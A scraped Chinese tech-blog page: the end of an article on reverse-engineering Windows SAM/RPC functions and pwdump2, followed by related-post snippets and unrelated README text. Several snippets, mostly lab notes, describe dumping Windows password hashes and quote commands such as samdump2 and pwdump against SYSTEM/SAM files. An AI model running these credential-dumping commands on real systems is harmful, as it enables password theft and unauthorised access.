由此想到一种研究Windows未文档化函数的方法。很多SMB网络函数第一形参指定目标
系统,当该形参为NULL时目标系统即本机。如果用Ethereal抓取了网络通信报文,根
据DCE RPC的marshalling/unmarshalling知识,有可能还原最初的数据结构,而这种
数据结构同时适用于本机、远程操作。再结合适当的逆向工程,进展会更大。当然,
有个重要前提,就是Ethereal已经进行了正确的Network Hacking,否则会导致错误
结论。你还必须能够在Ethereal所解析出的远程过程、Windows RPC Server以及MSDN
中的Win32 API这三者之间找到必然联系。

有个较深的感受,有些东西之间看似没有联系,实际却殊途同归。很早以前就想看看
pwdump2的实现机理,一直觉得它是横空出世的,没有来历,很茫然。搞不清为什么
要GetProcAddress获取那些引出函数地址。没想到在网络通信解码过程中豁然开朗。
看样子以后正门搞不定了,就扔到一边,说不定哪天发现到处是侧门。

☆ 参考资源

[ 2] Windows NT Security, Part 1
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3143

     Windows NT Security, Part 2
     http://www.winntmag.com/Articles/Print.cfm?ArticleID=3492 
hashcat配合pwdump破解win7密码 [实验] 一、实验目的在win7中设置一个新账户和7字节的密码(字母+数字),用工具如pwdump将其NTLM值导出,利用oclhashcat进行破解,给出破解步骤和时间。二、实验工具及其环境pwdump7 (win7虚拟机下创建) Oclhashcat (win10下运行) PS:这里oclhashcat在win10下运行主要是hashcat运行需要用到LCD驱动,win10下NAVID自动安装好 阅读详情

相关推荐

mimikatz和pwdump测试报告

环境:vmware、window service 2008(administrator 123.com) 工具:mimikatz工具、pwdump工具 开始实验: 打开mimikatz工具,查看目录情况,打开cmd cd 进入目录; 测试的2008是64位的系统,选择64位 不难发现,其实已经都出来了。 说明一下,用户的信息的查看,需要是已经登录状态的用户信息,才会显示;如果不登录,则...

ZYH_boss的博客 660

使用pwdump 导出本地windows SAM散列并破解

来源:shiyanbar.com,仅作为笔记,侵删 Windows hash由二部分组成,分别是LM HASH&amp;NT HASH。Windows系统关于hash的组成如下: 用户名称:RID: LM-HASH值:NT-HASH值 LM HASH生成规则: 1.用户的密码被限制为最多14个字符。 2.用户的密码转换为大写。 3.系统中用户的密码编码使用了OEM内码页 4.密码不足14字节...

whime 1万+

最新kali之samdump2

描述:   从Windows 2k / NT / XP / Vista SAM中检索syskey并提取哈希。   samdump2旨在使用系统配置单元中的syskey引导密钥从SAM文件中转储Windows 2k / NT / XP密码哈希。 选项: -d 启用调试 -h 显示这个帮助 -o file 将输出写入文件 例 samdump2 -o out /mnt/ntfs/WINDOWS/system32/config/system /mnt/ntfs/WINDOWS/system32/conf

vanony的博客 1499

Windows全系列 本地密码暴力破解

Windows全系列 本地密码暴力破解

章叁的博客 2638

pwdump8-8.2--获取Windows密码哈希

最新的pwdump8-8.2--获取Windows密码哈希,可以结合ophcrack使用(可以问我要最新的)

基于 Qt 6 / C++17 的多算法加解密工具(学习研究用途) 涵盖编码、古典密码、对称/非对称加密、哈希摘要共 24 种算法,全部纯 C++ 自实现,不依赖 OpenSSL/GmSSL

基于 Qt 6 / C++17 的多算法加解密工具(学习研究用途)。涵盖编码、古典密码、对称/非对称加密、哈希摘要共 24 种算法,全部纯 C++ 自实现,不依赖 OpenSSL/GmSSL。含图形界面、批量文件加解密、密钥管理、性能测试与操作日志。提供标准测试向量自测。

pwdump / samdump2(读取win登陆系统SAM文件里的hash值工具)

pwdump / samdump windows系统账号SAM数据库 存放用户名+密文形式的密码(HASH) 获得WIN的SAM文件,密码HASH则可进行暴力破解 SAM的存放位置:c:\windows\system32\config 获取SYSTEM SAM这两个文件 命令如下 pwdump SYSTEM SAM sandump2 SYSTEM SAM LMHASH / NTLMHASH ...

ANIJ的博客 5409

LED单元板驱动(HUB75接口)

开始之前先吐槽一下,搜这个的资料。要么都是Arduino,要么单片机的收费。小小的一个LED单元板,凭什么? 用Arduino是你速度快还是我ST,树莓派不好用?收费更离谱,这点东西还藏私?给你个中指凸。把原理都写出来看你怎么收费。 一、接口定义及原理 如图,有两个RGB通道,共占用6个IO。剩下的ABCDE为地址通道,LAT为行数据锁存通道,CLK为数据时钟,OE为低电平使能LED显示。图片这里没有E,证明它是16扫的,有E就会把B上面的地改为E。这样就是5位,2的5次方32扫。1.

a3748622的博客 3万+

quark pwdump导出windows用户密码hash值

实验环境:window xp系统或者win7系统 1、在官网中下载pwdump7版本(最开始我是尝试用pwdump8在win7和xp系统上做实验,结果始终有各种问题出现,无法成功,换成版本7之后很顺利就完成了实验) 官网下载地址:Windows PWDUMP toolshttps://www.openwall.com/passwords/windows-pwdump 2.如果实在本机下载的直接将文件拖到虚拟机即可(如果无法复制粘贴,则在虚拟机中下载VMware tools即可) 3.打开pwdump

北城的博客 5057

Python RK3588 MPP 8路视频硬解码!全体目光向我看齐!

本文重写了官方demo、加入了Zlmediakit进行拉流并通过pybind11将代码封装成so库,现在,在python中直接通过import的方式,就能完成基础的拉流解码操作,目前支持8路拉流解码!!!

m0_46303486的博客 4881

STM32 无线充电接收端硬件设计:从 LC 谐振到 PWM 控制的 5 大关键电路解析

本文深入解析了基于STM32的无线充电接收端硬件设计,重点探讨了LC谐振倍压整流、INA282电流采样、IR2104S半桥驱动、超级电容保护及STM32最小系统等5大关键电路。针对超级电容的恒功率充电需求,详细介绍了PID控制算法优化及PCB设计实战要点,帮助工程师提升无线充电系统的效率和可靠性。

weixin_31774841的博客 387

口令破解相关操作

(1)win7系统开启命令行界面,查看当前用户(2)运行cain&abel软件(3)切换至Cracker模块(4)导入本机账户的口令hash值(5)选中待破解账户,右键选择“NTLM Hashes”(6)选择小写字母和数字组合的字符集,查看需要的破解时间。(7)选择更复杂的字符集,查看破解需要的时间(8)最后,选择所选用户口令的相应字符集,进行破解。

weixin_62623950的博客 2421

手机拍照背后的隐形功臣:一文读懂高通ISP三兄弟(IFE/BPS/IPE)如何协同工作

本文深入解析了高通ISP三兄弟(IFE/BPS/IPE)在手机拍照中的协同工作机制。通过拟人化比喻,详细介绍了IFE作为图像前端引擎的分流预处理、BPS作为RAW格式修图师的专业处理,以及IPE作为全能后期制作人的多面功能,揭示了三者在图像处理pipeline中的高效配合与技术创新。

weixin_27032989的博客 530

linux pwdump命令,nmap实用命令行技巧

http://nmap.org/docs.html主机发现(Host Discovery)用于发现目标主机是否处于活动状态(Active)。Nmap提供了多种检测机制,可以更有效地辨识主机。例如可用来列举目标网络中哪些主机已经开启,类似于Ping命令的功能。端口扫描(Port Scanning)用于扫描主机上的端口状态。Nmap可以将端口识别为开放(Open)、关闭(Closed)、过滤(Filt...

weixin_39530833的博客 377

SPWM波调制度原理

SPWM波调制度原理

qq_43557686的博客 1万+

姿态传感器/陀螺仪之ICM-42670-P应用原理图设计

ICM-42670-P采用LGA-14封装,尺寸为2.5x3x0.76毫米,工作电压范围为1.71V至3.6V,支持I3CSM、I2C和SPI串行通信接口。其设计目标是提供高精度、低功耗和小型化的解决方案,以满足消费类和工业应用的需求。ICM-42670-P是一款由TDK InvenSense推出的高性能六轴MEMS运动追踪传感器,集成了3轴陀螺仪和3轴加速度计,适用于多种应用场景,包括可穿戴设备、游戏控制器、无人机、AR/VR设备等。

corlin6688的博客 1207

samdump2获取虚拟机密码

背景:搭了半天的PHP环境,误删Win7虚拟机管理员帐户,忘记新建帐户密码 措施:虚拟机挂载Kali镜像,使用samdump2得到NTLM Step1: Win7首先进入BIOS,把光盘启动优先级设为最高,关机,挂载Kali.iso,开机。 Step2: 查看分区,这里我只分了一个20G的系统盘 fdisk -l Step3: 把Win7硬盘挂载到Kali ...

weixin_30617737的博客 639

【Matlab算法】MATLAB实现的语音信号降噪算法(附MATLAB完整代码)

语音信号降噪是语音处理领域中的一个关键问题。在实际应用中,语音信号常常被各种环境噪声污染,这不仅影响了语音的质量,还可能导致后续处理(如语音识别)的性能下降。因此,开发有效的降噪算法对于提高语音通信质量、改善语音识别系统性能等具有重要意义。 本文将介绍并实现两种经典的语音信号降噪算法:谱减法和维纳滤波。这两种方法都是基于频域处理的技术,具有实现简单、计算效率高的特点。通过MATLAB实现这些算法,我们可以直观地比较它们的性能和降噪效果。

Albert_Lsk的博客 1329

使用PwDump和ophcrack获取系统密码

使用PwDump和ophcrack获取系统密码 当能够进入系统时,可以直接安装Ophcrack软件进行密码破解,也可以使用PwDump7获取密码hash,然后使用软件Ophcrack进行密码暴力破解获取的hash。 当不能进入系统时,可以在PE系统中将系统config文件夹复制出来(路径:C:\Windows\System32\config),然后在其他机器上使用Ophcrack软件进行密码暴

chenyuebo的博客 3192

uni-app - 在纯 JS 文件中调用自定义弹框组件 / 封装全局 API 调用弹框组件(解决小程序、APP 无法使用 document.body.appendChild 插入组件节点)适配全端

uni-app-在纯JS文件中调用自定义弹框组件/封装全局API调用弹框组件(解决小程序、APP无法使用document.body.appendChild插入组件节点)适配全端,uni-appappendChild怎么向小程序中插入节点,如何开发类似uni.showModal全局组件。h5端可以通过document.body.appendChild挂载,请问app跟微信小程序怎么弄,请问uniapp如何封装全局api调用弹窗组件?uniapp怎么设置所有页面共用的组件Uni

🏆 前端领域优质创作者 1万+

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

samdump2使用教程

samdump2 是一款专门用于从 Windows 系统的 SAM(安全账户管理器)和 SYSTEM 注册表文件中提取用户密码哈希的工具。它能够解密存储在 SAM 文件中的用户凭据信息,支持 Windows 2000、NT、XP 和 Vista 等多个系统版本,是渗透测试和数字取证中获取本地用户哈希的常用工具。

2301_78519654的博客 399

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

使用Pwdump7提取系统密码hash值

 首先,下载“Pwdump7.rar”这个文件,并将其解压到D盘根目录下。 接着,打开“命令提示符”窗口并输入“PwDump7”命令,在按下回车键后即可看到如图所示的结果。 图 命令执行结果 这里的“PASSWORD”后面是一串星号,这表示当前帐户没有设置密码。当我们为Administrator帐户设置 一个密码后,再次运行“PwDump7”命令时,就会得到如下内容: Ad

tonghua6的专栏 2万+

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

LSA 相关API函数

安全帐户管理器 (SAM)安全帐户管理器 (SAM) 有何功能?<br />安全帐户管理器 (SAM) 是运行 Windows Server 2003 的服务器上的一个数据库,用于存储本地计算机上用户的用户帐户和安全描述符。此功能适用于哪些用户?<br />此功能适用于需要进行疑难解答或了解 SAM 组件在部署中行为的 IT 专业人员。进行疑难解答可能还需要下载其他工具。本主题还适用于授权 SAMR 和 LSAR 协议的开发人员以及使用来自 MSDN 的 LSA 信任应用程序编程接口 (API) 的开发人员

lionzl的专栏 1823

第20节 密码爆破——基于Windows系统

1. 了解近身攻击的方式,发挥空间较少。 2. 掌握两种远程爆破的方法,主要是hydra的使用方式。 3. SAM文件格式由 “用户名+RID+LM-hash+NT-hash” 四列数据组成。

Fighting_hawk的博客 5030

红队必备:一文教你掌握pwd抓取技术,从零基础到精通,收藏这篇就够了!

本文仅供网络安全技术交流,请勿用于非法用途。所有渗透活动必须获得授权,否则后果自负,与本号及作者无关。请务必遵守法律法规!掌握了它,你就能在内网横着走,直接起飞!账号密码的重要性,无需多言。,无限循环,直到拿下整个内网!

Libra1313的博客 1332
上一篇: 基于PXA255的ARM Linux操作系统移植
下一篇: 解剖安全帐号管理器(SAM)结构
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值